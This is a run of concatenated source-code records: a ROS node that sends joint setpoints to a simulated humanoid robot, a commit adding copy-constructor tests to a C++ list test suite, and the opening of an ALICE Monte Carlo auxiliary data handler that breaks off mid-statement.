\t\t\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_arm_elx\",config_command_node.advertise<std_msgs::Float64>(\"\/l_arm_elx_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_arm_ely\",config_command_node.advertise<std_msgs::Float64>(\"\/l_arm_ely_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_arm_mwx\",config_command_node.advertise<std_msgs::Float64>(\"\/l_arm_mwx_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_arm_shx\",config_command_node.advertise<std_msgs::Float64>(\"\/l_arm_shx_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_arm_usy\",config_command_node.advertise<std_msgs::Float64>(\"\/l_arm_usy_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_arm_uwy\",config_command_node.advertise<std_msgs::Float64>(\"\/l_arm_uwy_position_controller\/command\",10)));\n\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_arm_elx\",config_command_node.advertise<std_msgs::Float64>(\"\/r_arm_elx_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_arm_ely\",config_command_node.advertise<std_msgs::Float64>(\"\/r_arm_ely_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_arm_mwx\",config_command_node.advertise<std_msgs::Float64>(\"\/r_arm_mwx_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_arm_shx\",config_command_node.advertise<std_msgs::Float64>(\"\/r_arm_shx_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_arm_usy\",config_command_node.advertise<std_msgs::Float64>(\"\/r_arm_usy_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_arm_uwy\",config_command_node.advertise<std_msgs::Float64>(\"\/r_arm_uwy_position_controller\/command\",10)));\n\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_leg_kny\",config_command_node.advertise<std_msgs::Float64>(\"\/l_leg_kny_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_leg_lax\",config_command_node.advertise<std_msgs::Float64>(\"\/l_leg_lax_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_leg_lhy\",config_command_node.advertise<std_msgs::Float64>(\"\/l_leg_lhy_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_leg_mhx\",config_command_node.advertise<std_msgs::Float64>(\"\/l_leg_mhx_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_leg_uay\",config_command_node.advertise<std_msgs::Float64>(\"\/l_leg_uay_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"l_leg_uhz\",config_command_node.advertise<std_msgs::Float64>(\"\/l_leg_uhz_position_controller\/command\",10)));\n\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_leg_kny\",config_command_node.advertise<std_msgs::Float64>(\"\/r_leg_kny_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_leg_lax\",config_command_node.advertise<std_msgs::Float64>(\"\/r_leg_lax_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_leg_lhy\",config_command_node.advertise<std_msgs::Float64>(\"\/r_leg_lhy_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_leg_mhx\",config_command_node.advertise<std_msgs::Float64>(\"\/r_leg_mhx_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_leg_uay\",config_command_node.advertise<std_msgs::Float64>(\"\/r_leg_uay_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"r_leg_uhz\",config_command_node.advertise<std_msgs::Float64>(\"\/r_leg_uhz_position_controller\/command\",10)));\n\n\t\t\tsetpoint_map.insert(std::make_pair(\"neck_ay\",config_command_node.advertise<std_msgs::Float64>(\"\/neck_ay_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"back_lbz\",config_command_node.advertise<std_msgs::Float64>(\"\/back_lbz_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"back_mby\",config_command_node.advertise<std_msgs::Float64>(\"\/back_mby_position_controller\/command\",10)));\n\t\t\tsetpoint_map.insert(std::make_pair(\"back_ubx\",config_command_node.advertise<std_msgs::Float64>(\"\/back_ubx_position_controller\/command\",10)));\n\t\n\t\t\tpausePhysics = true;\n\t\t\tclient = config_command_node.serviceClient<std_srvs::Empty>(\"\/gazebo\/pause_physics\");\n\t\t}\n\t\t~ConfigurationCommandHandler() {}\n\t\n\t\tvoid configuration_command_callback(const lcm::ReceiveBuffer* rbuf,const std::string &channel,const drc::robot_state_t* msg)\n\t\t{\n\t\t\t\/\/ pause gazebo\n\t\t\tif(pausePhysics && ros::ok()) {\n\t\t \t\tstd_srvs::Empty srv;\n\t\t \t\tif (!client.call(srv)) {\n\t\t\t\t\tROS_ERROR(\"Failed to pause gazebo.\");\n\t\t \t\t}\t\n\t\t\t}\n\n\t\t\t\/\/ set robot pose\t\t\n\t\t\tgeometry_msgs::Pose pose_msg;\n\t\t\tpose_msg.position = geometry_msgs::Point();\n\t\t\tpose_msg.position.x = msg->origin_position.translation.x;\n\t\t\tpose_msg.position.y = msg->origin_position.translation.y;\n\t\t\tpose_msg.position.z = msg->origin_position.translation.z;\n\t\t\t\n\t\t\tpose_msg.orientation = geometry_msgs::Quaternion();\n\t\t\tpose_msg.orientation.x = msg->origin_position.rotation.x;\n\t\t\tpose_msg.orientation.y = msg->origin_position.rotation.y;\n\t\t\tpose_msg.orientation.z = msg->origin_position.rotation.z;\n\t\t\tpose_msg.orientation.w = msg->origin_position.rotation.w;\n\t\t\t\n\t\t\t\/\/ set robot joint config\n\t\t\tsensor_msgs::JointState joint_msg;\n\t\t\tfor (int i=0; i<msg->num_joints; i++) {\n\t\t\t joint_msg.name.push_back(msg->joint_name[i]);\n\t\t\t joint_msg.position.push_back(msg->joint_position[i]);\n\t\t\t}\n\t\t\t\n\t\t\tif(ros::ok()) {\n\t\t\t\tjoint_pub.publish(joint_msg);\t\t\t\n\t\t\t\tpose_pub.publish(pose_msg);\t\t\t\n\t\t\t}\t\t\t\n\t\t\t\n\t\t\t\/\/ set PID goals\n\t\t\tstd_msgs::Float64 position_command_msg;\n\t\t\tfor (int i=0; i<msg->num_joints; i++) {\n\t\t\t \/\/ should we instead publish all joints at the same time?\n\t\t\t position_command_msg.data = msg->joint_position[i];\n\t\t\t\tif(ros::ok()) {\n\t\t\t\t\tsetpoint_map[msg->joint_name[i]].publish(position_command_msg);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t}\n};\t\n\nint main(int argc,char** argv) {\n\tros::init(argc,argv,\"config_command_publisher\",ros::init_options::NoSigintHandler);\n ros::NodeHandle config_command_node;\n\n\tlcm::LCM listener;\n\tif(!listener.good())\n\t\treturn 1;\n\tConfigurationCommandHandler handlerObject(config_command_node);\n\t\n\t\/\/LCM subscription\n\tlistener.subscribe(\"SET_ROBOT_CONFIG\",&ConfigurationCommandHandler::configuration_command_callback,&handlerObject);\n\n\twhile(0 == listener.handle());\n\treturn 0;\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>#include \"list.h\"\n#include \"gtest\/gtest.h\"\n#include <string>\n\n\nclass listTest : public testing::Test {\n protected:\n virtual void SetUp() {\n list_1.insert(list_1.begin(), 10);\n int_iter = list_1.insert(list_1.end(), 30);\n int_iter = list_1.insert(int_iter, 20);\n str = \"a string\";\n }\n virtual void TearDown() {}\n \/\/ class constant\n\n \/\/ setup fixtures\n ::list<int> list_1;\n ::list<int> list_2;\n list<int> list_empty;\n ::list<std::string> list_str;\n list<int>::iterator int_iter;\n list<std::string>::iterator str_iter;\n std::string str;\n};\n\nclass listIteratorTest : public testing::Test {\n \/\/ try to make friend with list_const_iterator DOES NOT WORK here\n \/\/ because friendship must be made before template is resolved:\n \/\/ friend class list_const_iterator<int>;\n protected:\n virtual void SetUp() {\n head_ = new listNode<int> (0);\n head_->next_ = new listNode<int> (10);\n tail_ = head_->next_->next_ = new listNode<int> (20);\n head_->next_->prev_ = head_;\n tail_->prev_ = head_->next_;\n c_iter = list_const_iterator<int> (head_);\n c_iter_1 = list_const_iterator<int> (head_->next_);\n iter = list_iterator<int> (head_);\n iter_1 = list_iterator<int> (head_->next_);\n }\n\n virtual void TearDown() {\n delete tail_;\n delete head_->next_;\n delete head_;\n }\n listNode<int>* head_;\n listNode<int>* tail_;\n list_const_iterator<int> c_iter;\n list_const_iterator<int> c_iter_1;\n list_iterator<int> iter;\n list_iterator<int> iter_1;\n\n};\n\n\/\/ test the helper class listNodeTest\n\/\/ this is a canonical example of writing testable code:\n\/\/ to test private members, just write another helper class\n\/\/ and make its data public\nTEST(listHelperTest, ListNode) {\n int element_1 = 100;\n std::string element_2(\"Hello world\");\n listNode<int> node_1(element_1);\n listNode<std::string> node_2(element_2);\n EXPECT_EQ(element_1, node_1.element_);\n EXPECT_EQ(element_2, node_2.element_);\n EXPECT_EQ(nullptr, node_2.prev_);\n EXPECT_EQ(nullptr, node_2.next_);\n \/\/ test the move constructor for node:\n listNode<int> node_3(std::move(element_1));\n listNode<std::string> node_4(std::move(element_2));\n EXPECT_EQ(100, node_3.element_);\n EXPECT_EQ(\"Hello world\", node_4.element_);\n EXPECT_TRUE(element_2.empty());\n}\n\nTEST_F(listIteratorTest, ConstIterator) {\n list_const_iterator<int> c_iter_temp = c_iter;\n \/\/ testing increment and decrement of const_iterator\n EXPECT_EQ(++c_iter_temp, c_iter_1);\n EXPECT_EQ(--c_iter_temp, c_iter);\n EXPECT_EQ(c_iter_temp++, c_iter);\n EXPECT_EQ(c_iter_temp, c_iter_1);\n EXPECT_EQ(c_iter_temp--, c_iter_1);\n EXPECT_EQ(c_iter_temp, c_iter);\n EXPECT_TRUE(c_iter_temp == c_iter);\n EXPECT_TRUE(c_iter_temp != c_iter_1);\n\n \/\/ testing access capability of const_iterator\n EXPECT_EQ(0, *c_iter_temp);\n EXPECT_EQ(10, *(++c_iter_temp));\n EXPECT_EQ(20, *(++c_iter_temp));\n EXPECT_EQ(10, *(--c_iter_temp));\n\n \/\/ testing non-modifying capability of const_iterator:\n \/\/ will not even compile:\n \/\/*c_iter_temp = 100;\n}\n\nTEST_F(listIteratorTest, Iterator) {\n list_iterator<int> iter_temp = iter;\n \/\/ testing increment and decrement of iterator\n \/\/ which are all inherited from base\n EXPECT_EQ(++iter_temp, iter_1);\n EXPECT_EQ(--iter_temp, iter);\n EXPECT_EQ(iter_temp++, iter);\n EXPECT_EQ(iter_temp, iter_1);\n EXPECT_EQ(iter_temp--, iter_1);\n EXPECT_EQ(iter_temp, iter);\n EXPECT_TRUE(iter_temp == iter);\n EXPECT_TRUE(iter_temp != iter_1);\n\n \/\/ testing access capability of iterator\n EXPECT_EQ(0, *iter_temp);\n EXPECT_EQ(10, *(++iter_temp));\n EXPECT_EQ(20, *(++iter_temp));\n EXPECT_EQ(10, *(--iter_temp));\n\n \/\/ testing modifying capability of iterator:\n *iter_temp = 100;\n EXPECT_EQ(*iter_temp, 100);\n}\n\n\nTEST_F(listTest, DefaultCtor) {\n EXPECT_EQ(0u, list_empty.size());\n EXPECT_TRUE(list_empty.empty());\n}\n\nTEST_F(listTest, CopyCtor) {\n\n}\n\n\nTEST_F(listTest, BeginEnd) {\n EXPECT_EQ(list_empty.begin(), list_empty.end());\n \/\/ decrement pass begin() and increment pass end() should be ok\n EXPECT_NO_FATAL_FAILURE(--list_empty.begin());\n EXPECT_NO_FATAL_FAILURE(++list_empty.end());\n}\n\nTEST_F(listTest, InsertLvalue) {\n \/\/ iter is pointing to tail_\n list<int>::iterator iter = list_empty.begin();\n \/\/ testing iterator insert (iterator, const E&)\n int x = 10;\n list<int>::iterator ret_iter = list_empty.insert(iter, x);\n EXPECT_TRUE(--iter == ret_iter);\n \/\/ iter--;\n EXPECT_EQ(*ret_iter, 10);\n EXPECT_EQ(list_empty.size(), 1);\n EXPECT_EQ(++ret_iter, list_empty.end());\n --ret_iter; \/\/ set ret_iter to point to 10\n ret_iter = list_empty.insert(ret_iter, x + 10);\n EXPECT_EQ(list_empty.size(), 2);\n EXPECT_EQ(*ret_iter, 20);\n EXPECT_EQ(*(++ret_iter), 10);\n EXPECT_TRUE(++ret_iter == list_empty.end());\n\n \/\/ insert pass begin() and pass end() should fail\n \/\/ the following would not even compile:\n \/\/ list_empty.insert(++list_empty.end(), 100);\n \/\/ list_empty.insert(--list_empty.begin(), 100);\n}\n\nTEST_F(listTest, InsertRvalue) {\n size_t old_size = list_str.size();\n str_iter = list_str.insert(list_str.begin(), std::move(str));\n EXPECT_EQ(*str_iter, \"a string\");\n EXPECT_TRUE(str_iter == list_str.begin());\n EXPECT_EQ(++old_size, list_str.size());\n EXPECT_TRUE(str.empty());\n}\n\nTEST_F(listTest, InsertConstObject) {\n \/\/ insert const object by lvalue:\n const std::string const_str(\"const string\");\n const std::string CONST_STR(const_str);\n\n size_t old_size = list_str.size();\n str_iter = list_str.insert(list_str.begin(), const_str);\n EXPECT_EQ(++old_size, list_str.size());\n EXPECT_EQ(*str_iter, CONST_STR);\n EXPECT_EQ(const_str, CONST_STR);\n\n \/\/ insert const objects by rvalue:\n \/\/ std::move automatically degrade to a copy insert\n str_iter = list_str.insert(list_str.begin(), std::move(const_str));\n EXPECT_EQ(++old_size, list_str.size());\n EXPECT_EQ(*str_iter, CONST_STR);\n EXPECT_EQ(const_str, CONST_STR);\n}\n\nTEST_F(listTest, EraseAtIter) {\n int_iter = list_1.erase(list_1.begin()); \/\/ erase 10\n EXPECT_EQ(list_1.size(), 2);\n EXPECT_EQ(*list_1.begin(), 20);\n EXPECT_EQ(*int_iter, 20);\n int_iter = list_1.erase(int_iter); \/\/ erase 20\n int_iter = list_1.erase(int_iter); \/\/ erase 30\n \/\/ test for seg fault if erase end()\n \/\/ it trigers a memory leak error right before core dump,\n \/\/ which it is expected. Turned off when running memtest\n \/\/EXPECT_DEATH(int_iter = list_1.erase(list_1.end()), \"\");\n}\n\nTEST_F(listTest, PushFront) {\n \/\/ lvalue version\n size_t old_size = list_1.size();\n list_1.push_front(100);\n EXPECT_EQ(++old_size, list_1.size());\n EXPECT_EQ(*list_1.begin(), 100);\n\n list_1.push_front(200);\n EXPECT_EQ(++old_size, list_1.size());\n EXPECT_EQ(*list_1.begin(), 200);\n EXPECT_EQ(*(++list_1.begin()), 100);\n EXPECT_TRUE(--(++list_1.begin()) == list_1.begin());\n\n \/\/ rvalue version\n old_size = list_str.size();\n list_str.push_front(std::move(str));\n EXPECT_EQ(++old_size, list_str.size());\n EXPECT_EQ(*list_str.begin(), \"a string\");\n EXPECT_TRUE(str.empty());\n}\n\nTEST_F(listTest, PushBack) {\n \/\/ lvalue version\n size_t old_size = list_1.size();\n list_1.push_back(1000);\n EXPECT_EQ(++old_size, list_1.size());\n EXPECT_EQ(*(--list_1.end()), 1000);\n\n list_1.push_back(2000);\n EXPECT_EQ(++old_size, list_1.size());\n EXPECT_EQ(*(--list_1.end()), 2000);\n EXPECT_EQ(*(--(--list_1.end())), 1000);\n EXPECT_TRUE(++(--list_1.end()) == list_1.end());\n\n \/\/ rvalue version\n old_size = list_str.size();\n list_str.push_back(std::move(str));\n EXPECT_EQ(++old_size, list_str.size());\n EXPECT_EQ(*(--list_str.end()), \"a string\");\n EXPECT_TRUE(str.empty());\n}\n<commit_msg>list: add tests for copy ctor<commit_after>#include \"list.h\"\n#include \"gtest\/gtest.h\"\n#include <string>\n\n\nclass listTest : public testing::Test {\n protected:\n virtual void SetUp() {\n list_1.insert(list_1.begin(), 10);\n int_iter = list_1.insert(list_1.end(), 30);\n int_iter = list_1.insert(int_iter, 20);\n str = \"a string\";\n }\n virtual void TearDown() {}\n \/\/ class constant\n\n \/\/ setup fixtures\n ::list<int> list_1;\n ::list<int> list_2;\n list<int> list_empty;\n ::list<std::string> list_str;\n list<int>::iterator int_iter;\n list<std::string>::iterator str_iter;\n std::string str;\n};\n\nclass listIteratorTest : public testing::Test {\n \/\/ try to make friend with list_const_iterator DOES NOT WORK here\n \/\/ because friendship must be made before template is resolved:\n \/\/ friend class list_const_iterator<int>;\n protected:\n virtual void SetUp() {\n head_ = new listNode<int> (0);\n head_->next_ = new listNode<int> (10);\n tail_ = head_->next_->next_ = new listNode<int> (20);\n head_->next_->prev_ = head_;\n tail_->prev_ = head_->next_;\n c_iter = list_const_iterator<int> (head_);\n c_iter_1 = list_const_iterator<int> (head_->next_);\n iter = list_iterator<int> (head_);\n iter_1 = list_iterator<int> (head_->next_);\n }\n\n virtual void TearDown() {\n delete tail_;\n delete head_->next_;\n delete head_;\n }\n listNode<int>* head_;\n listNode<int>* tail_;\n list_const_iterator<int> c_iter;\n list_const_iterator<int> c_iter_1;\n list_iterator<int> iter;\n list_iterator<int> iter_1;\n\n};\n\n\/\/ test the helper class listNodeTest\n\/\/ this is a canonical example of writing testable code:\n\/\/ to test private members, just write another helper class\n\/\/ and make its data public\nTEST(listHelperTest, ListNode) {\n int element_1 = 100;\n std::string element_2(\"Hello world\");\n listNode<int> node_1(element_1);\n listNode<std::string> node_2(element_2);\n EXPECT_EQ(element_1, node_1.element_);\n EXPECT_EQ(element_2, node_2.element_);\n EXPECT_EQ(nullptr, node_2.prev_);\n EXPECT_EQ(nullptr, node_2.next_);\n \/\/ test the move constructor for node:\n listNode<int> node_3(std::move(element_1));\n listNode<std::string> node_4(std::move(element_2));\n EXPECT_EQ(100, node_3.element_);\n EXPECT_EQ(\"Hello world\", node_4.element_);\n EXPECT_TRUE(element_2.empty());\n}\n\nTEST_F(listIteratorTest, ConstIterator) {\n list_const_iterator<int> c_iter_temp = c_iter;\n \/\/ testing increment and decrement of const_iterator\n EXPECT_EQ(++c_iter_temp, c_iter_1);\n EXPECT_EQ(--c_iter_temp, c_iter);\n EXPECT_EQ(c_iter_temp++, c_iter);\n EXPECT_EQ(c_iter_temp, c_iter_1);\n EXPECT_EQ(c_iter_temp--, c_iter_1);\n EXPECT_EQ(c_iter_temp, c_iter);\n EXPECT_TRUE(c_iter_temp == c_iter);\n EXPECT_TRUE(c_iter_temp != c_iter_1);\n\n \/\/ testing access capability of const_iterator\n EXPECT_EQ(0, *c_iter_temp);\n EXPECT_EQ(10, *(++c_iter_temp));\n EXPECT_EQ(20, *(++c_iter_temp));\n EXPECT_EQ(10, *(--c_iter_temp));\n\n \/\/ testing non-modifying capability of const_iterator:\n \/\/ will not even compile:\n \/\/*c_iter_temp = 100;\n}\n\nTEST_F(listIteratorTest, Iterator) {\n list_iterator<int> iter_temp = iter;\n \/\/ testing increment and decrement of iterator\n \/\/ which are all inherited from base\n EXPECT_EQ(++iter_temp, iter_1);\n EXPECT_EQ(--iter_temp, iter);\n EXPECT_EQ(iter_temp++, iter);\n EXPECT_EQ(iter_temp, iter_1);\n EXPECT_EQ(iter_temp--, iter_1);\n EXPECT_EQ(iter_temp, iter);\n EXPECT_TRUE(iter_temp == iter);\n EXPECT_TRUE(iter_temp != iter_1);\n\n \/\/ testing access capability of iterator\n EXPECT_EQ(0, *iter_temp);\n EXPECT_EQ(10, *(++iter_temp));\n EXPECT_EQ(20, *(++iter_temp));\n EXPECT_EQ(10, *(--iter_temp));\n\n \/\/ testing modifying capability of iterator:\n *iter_temp = 100;\n EXPECT_EQ(*iter_temp, 100);\n}\n\n\nTEST_F(listTest, DefaultCtor) {\n EXPECT_EQ(0u, list_empty.size());\n EXPECT_TRUE(list_empty.empty());\n}\n\nTEST_F(listTest, CopyCtor) {\n for (int i = 0; i < 100; i++) {\n list_1.push_back(i);\n }\n const list<int> list_temp = list_1;\n EXPECT_EQ(list_temp.size(), list_1.size());\n int_iter = list_1.begin();\n list<int>::const_iterator temp_iter = list_temp.begin();\n while(temp_iter != list_temp.end()\n && int_iter != list_1.end())\n {\n EXPECT_EQ(*temp_iter++, *int_iter++);\n }\n\n \/\/ edge case: empty list\n list<int> list_nothing = list_empty;\n EXPECT_TRUE(list_nothing.empty());\n}\n\n\nTEST_F(listTest, BeginEnd) {\n EXPECT_EQ(list_empty.begin(), list_empty.end());\n \/\/ decrement pass begin() and increment pass end() should be ok\n EXPECT_NO_FATAL_FAILURE(--list_empty.begin());\n EXPECT_NO_FATAL_FAILURE(++list_empty.end());\n}\n\nTEST_F(listTest, InsertLvalue) {\n \/\/ iter is pointing to tail_\n list<int>::iterator iter = list_empty.begin();\n \/\/ testing iterator insert (iterator, const E&)\n int x = 10;\n list<int>::iterator ret_iter = list_empty.insert(iter, x);\n EXPECT_TRUE(--iter == ret_iter);\n \/\/ iter--;\n EXPECT_EQ(*ret_iter, 10);\n EXPECT_EQ(list_empty.size(), 1);\n EXPECT_EQ(++ret_iter, list_empty.end());\n --ret_iter; \/\/ set ret_iter to point to 10\n ret_iter = list_empty.insert(ret_iter, x + 10);\n EXPECT_EQ(list_empty.size(), 2);\n EXPECT_EQ(*ret_iter, 20);\n EXPECT_EQ(*(++ret_iter), 10);\n EXPECT_TRUE(++ret_iter == list_empty.end());\n\n \/\/ insert pass begin() and pass end() should fail\n \/\/ the following would not even compile:\n \/\/ list_empty.insert(++list_empty.end(), 100);\n \/\/ list_empty.insert(--list_empty.begin(), 100);\n}\n\nTEST_F(listTest, InsertRvalue) {\n size_t old_size = list_str.size();\n str_iter = list_str.insert(list_str.begin(), std::move(str));\n EXPECT_EQ(*str_iter, \"a string\");\n EXPECT_TRUE(str_iter == list_str.begin());\n EXPECT_EQ(++old_size, list_str.size());\n EXPECT_TRUE(str.empty());\n}\n\nTEST_F(listTest, InsertConstObject) {\n \/\/ insert const object by lvalue:\n const std::string const_str(\"const string\");\n const std::string CONST_STR(const_str);\n\n size_t old_size = list_str.size();\n str_iter = list_str.insert(list_str.begin(), const_str);\n EXPECT_EQ(++old_size, list_str.size());\n EXPECT_EQ(*str_iter, CONST_STR);\n EXPECT_EQ(const_str, CONST_STR);\n\n \/\/ insert const objects by rvalue:\n \/\/ std::move automatically degrade to a copy insert\n str_iter = list_str.insert(list_str.begin(), std::move(const_str));\n EXPECT_EQ(++old_size, list_str.size());\n EXPECT_EQ(*str_iter, CONST_STR);\n EXPECT_EQ(const_str, CONST_STR);\n}\n\nTEST_F(listTest, EraseAtIter) {\n int_iter = list_1.erase(list_1.begin()); \/\/ erase 10\n EXPECT_EQ(list_1.size(), 2);\n EXPECT_EQ(*list_1.begin(), 20);\n EXPECT_EQ(*int_iter, 20);\n int_iter = list_1.erase(int_iter); \/\/ erase 20\n int_iter = list_1.erase(int_iter); \/\/ erase 30\n \/\/ test for seg fault if erase end()\n \/\/ it trigers a memory leak error right before core dump,\n \/\/ which it is expected. Turned off when running memtest\n \/\/EXPECT_DEATH(int_iter = list_1.erase(list_1.end()), \"\");\n}\n\nTEST_F(listTest, PushFront) {\n \/\/ lvalue version\n size_t old_size = list_1.size();\n list_1.push_front(100);\n EXPECT_EQ(++old_size, list_1.size());\n EXPECT_EQ(*list_1.begin(), 100);\n\n list_1.push_front(200);\n EXPECT_EQ(++old_size, list_1.size());\n EXPECT_EQ(*list_1.begin(), 200);\n EXPECT_EQ(*(++list_1.begin()), 100);\n EXPECT_TRUE(--(++list_1.begin()) == list_1.begin());\n\n \/\/ rvalue version\n old_size = list_str.size();\n list_str.push_front(std::move(str));\n EXPECT_EQ(++old_size, list_str.size());\n EXPECT_EQ(*list_str.begin(), \"a string\");\n EXPECT_TRUE(str.empty());\n}\n\nTEST_F(listTest, PushBack) {\n \/\/ lvalue version\n size_t old_size = list_1.size();\n list_1.push_back(1000);\n EXPECT_EQ(++old_size, list_1.size());\n EXPECT_EQ(*(--list_1.end()), 1000);\n\n list_1.push_back(2000);\n EXPECT_EQ(++old_size, list_1.size());\n EXPECT_EQ(*(--list_1.end()), 2000);\n EXPECT_EQ(*(--(--list_1.end())), 1000);\n EXPECT_TRUE(++(--list_1.end()) == list_1.end());\n\n \/\/ rvalue version\n old_size = list_str.size();\n list_str.push_back(std::move(str));\n EXPECT_EQ(++old_size, list_str.size());\n EXPECT_EQ(*(--list_str.end()), \"a string\");\n EXPECT_TRUE(str.empty());\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>latest<commit_after><|endoftext|>"} {"text":"<commit_before>#include \"AliMCAuxHandler.h\"\n#include \"AliAnalysisManager.h\"\n#include <TError.h>\n#include <AliLog.h>\n#include <TFile.h>\n#include <TClonesArray.h>\n#include <TROOT.h>\n#include <AliStack.h>\n#include <AliMCEvent.h>\n\nClassImp(AliMCAuxHandler)\n#if 0 \/\/ For Emacs - do not remove\n;\n#endif\n\n\/\/____________________________________________________________________\nAliMCAuxHandler::AliMCAuxHandler(const char* name,\n\t\t\t\t const char* what,\n\t\t\t\t AliMCEventHandler* parent)\n : AliMCEventHandler(name, what),\n fParent(parent), \n fFile(0),\n fTree(0),\n fDir(0),\n fArray(0),\n fNEvents(0), \n fNEventsPerFile(0),\n fNEventsInContainer(0),\n fEvent(0), \n fFileNumber(0),\n fTreeName(\"\"),\n fFileBase(\"\")\n{\n \/\/ Constructor \n \/\/ \n \/\/ Parameters: \n \/\/ name The name \n}\n\n\/\/____________________________________________________________________\nTString*\nAliMCAuxHandler::GetParentPath() const\n{\n if (!fParent) { \n AliWarning(\"No parent\");\n return 0;\n }\n return fParent->GetInputPath();\n}\n\n\/\/____________________________________________________________________\nBool_t\nAliMCAuxHandler::Init(Option_t* opt)\n{\n \/\/ Initialize the input\n \/\/ \n \/\/ @param opt Options \n \/\/ \n \/\/ @return true on success \n AliDebugF(10,\"AliMCAuxHandler::Init(\\\"%s\\\")\", opt);\n\n TString option(opt);\n if (option.EqualTo(\"proof\") || option.EqualTo(\"local\")) return true;\n\n TString t = \"Tree\";\n TString b = \"\";\n TClass* cl = gROOT->GetClass(GetTitle());\n if (cl) { \n if (cl->InheritsFrom(\"AliHit\")) { \n t += \"H\";\n b = \"Hits\";\n }\n else if (cl->InheritsFrom(\"AliSDigit\")) {\n t += \"S\";\n b = \"SDigits\";\n }\n else if (cl->InheritsFrom(\"AliDigit\")) {\n t += \"D\";\n b = \"Digits\";\n }\n else \n t = \"\";\n }\n if (!t.IsNull()) fTreeName = t;\n if (!b.IsNull()) fFileBase = b;\n\n\n fArray = new TClonesArray(GetTitle());\n \n TTree* treeE = fParent->GetTree();\n if (!treeE) { \n AliError(\"Parent does not have an events tree\");\n return false;\n }\n\n \/\/ Get number of events in this directory \n fNEventsPerFile = -1;\n fNEvents = treeE->GetEntries();\n fEvent = 0;\n fFileNumber = 0;\n\n if (!OpenFile(fFileNumber)) return false;\n\n return true;\n}\n\/\/____________________________________________________________________\nBool_t\nAliMCAuxHandler::BeginEvent(Long64_t entry)\n{\n \/\/ Called at the beginning of an event \n \/\/ \n \/\/ @param entry Entry in tree \n \/\/ \n \/\/ @return true on success\n AliDebugF(10,\"AliMCAuxHandler::BeginEvent(%lld)\", entry);\n\n if (entry == -1) \n fEvent++;\n else \n fEvent = entry;\n\n if (fEvent >= fNEvents) { \n AliWarningF(\"Event number out of range %d\/%d\", fEvent, fNEvents);\n return false;\n }\n\n if (fNEventsPerFile < 0) {\n TTree* treeK = fParent->TreeK();\n if (!treeK) { \n AliError(\"Parent does not have a kinematics tree\");\n return false;\n }\n \n TFile* fileK = treeK->GetCurrentFile();\n if (!fileK) { \n AliError(\"Kinematics tree has no associated file\");\n return false;\n }\n \/\/ Get the number of events per file \n fNEventsPerFile = fileK->GetNkeys() - fileK->GetNProcessIDs();\n }\n return LoadEvent(fEvent);\n}\n\/\/____________________________________________________________________\nBool_t\nAliMCAuxHandler::Notify(const char* path)\n{\n \/\/ Called when the input file is changed \n \/\/ \n \/\/ @param path New path \n \/\/\n \/\/ @return true on success\n AliDebugF(10,\"AliMCAuxHandler::Notify(\\\"%s\\\")\", path);\n return true;\n}\n\/\/____________________________________________________________________\nBool_t\nAliMCAuxHandler::FinishEvent()\n{\n \/\/ Called at the end of an event \n \/\/ \n \/\/ @return true on success\n AliDebug(10,\"AliMCAuxHandler::FinishEvent()\");\n return true;\n}\n\/\/____________________________________________________________________\nBool_t\nAliMCAuxHandler::Terminate()\n{\n \/\/ Called at the end of a job \n \/\/ \n \/\/ @return true on success \n AliDebug(10,\"AliMCAuxHandler::Terminate()\");\n return true;\n}\n\/\/____________________________________________________________________\nBool_t\nAliMCAuxHandler::TerminateIO()\n{\n \/\/ Called at the end of a sub-job\n \/\/ \n \/\/ @return true on success\n AliDebug(10,\"AliMCAuxHandler::TerminateIO()\");\n return true;\n}\n\n\/\/____________________________________________________________________\nvoid\nAliMCAuxHandler::ResetIO()\n{\n \/\/ Reset the I\/O\n \/\/ \n \/\/\n AliDebug(10,\"AliMCAuxHandler::ResetIO()\");\n\n TString* path = GetParentPath();\n AliDebugF(10,\"Got parent path %s\", path ? path->Data() : \"null\");\n\n if (fFile) { \n delete fFile;\n fFile = 0;\n }\n}\n\/\/____________________________________________________________________\nBool_t\nAliMCAuxHandler::OpenFile(Int_t fileNo)\n{\n TString* path = GetParentPath();\n AliDebugF(10,\"Got parent path %s\", path ? path->Data() : \"null\");\n if (!path) return false;\n\n TString ext(\"\");\n if (fileNo > 0) ext = TString::Format(\"%d\", fileNo);\n\n TString w(GetTitle());\n if (w.EndsWith(\"s\")) w.Chop();\n \n TString fn = TString::Format(\"%s%s.%s%s.root\", \n\t\t\t path->Data(), GetName(), \n\t\t\t fFileBase.Data(), ext.Data());\n Info(\"Init\", \"Opening %s\", fn.Data());\n fFile = 